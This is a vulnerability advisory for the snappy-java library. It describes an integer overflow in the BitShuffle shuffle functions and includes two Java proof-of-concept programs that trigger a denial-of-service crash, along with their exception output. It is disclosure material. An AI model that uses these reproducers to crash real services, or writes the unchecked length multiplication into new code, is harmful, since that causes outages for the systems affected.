## Summary
Due to unchecked multiplications, an integer overflow may occur, causing a fatal error.
## Impact
Denial of Service
## Description
The function [shuffle(int[] input)](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/BitShuffle.java#L107) in the file [BitShuffle.java](https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/BitShuffle.java) receives an array of integers and applies a bit shuffle on it. It does so by multiplying the length by 4 and passing it to the natively compiled shuffle function.
```java
public static byte[] shuffle(int[] input) throws IOException {
        byte[] output = new byte[input.length * 4];
        int numProcessed = impl.shuffle(input, 0, 4, input.length * 4, output, 0);
        assert(numProcessed == input.length * 4);
        return output;
    }
```
Since the length is not tested, the multiplication by four can cause an integer overflow and become a smaller value than the true size, or even zero or negative. In the case of a negative value, a “java.lang.NegativeArraySizeException” exception will raise, which can crash the program. In a case of a value that is zero or too small, the code that afterwards references the shuffled array will assume a bigger size of the array, which might cause exceptions such as “java.lang.ArrayIndexOutOfBoundsException”.
The same issue exists also when using the “shuffle” functions that receive a double, float, long and short, each using a different multiplier that may cause the same issue.
## Steps To Reproduce
Compile and run the following code:
```java
package org.example;
import org.xerial.snappy.BitShuffle;
import java.io.*;
public class Main {
    public static void main(String[] args) throws IOException {
        int[] original = new int[0x40000000];
        byte[] shuffled = BitShuffle.shuffle(original);
        System.out.println(shuffled[0]);
    }
}
```
The program will crash, showing the following error (or similar):
```
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index 0 out of bounds for length 0
	at org.example.Main.main(Main.java:12)
Process finished with exit code 1
```
Alternatively - compile and run the following code:
```java
package org.example;
import org.xerial.snappy.BitShuffle;
import java.io.*;
public class Main {
    public static void main(String[] args) throws IOException {
        int[] original = new int[0x20000000];
        byte[] shuffled = BitShuffle.shuffle(original);
    }
}
```
The program will crash with the following error (or similar):
```
Exception in thread "main" java.lang.NegativeArraySizeException: -2147483648
	at org.xerial.snappy.BitShuffle.shuffle(BitShuffle.java:108)
	at org.example.Main.main(Main.java:11)
```
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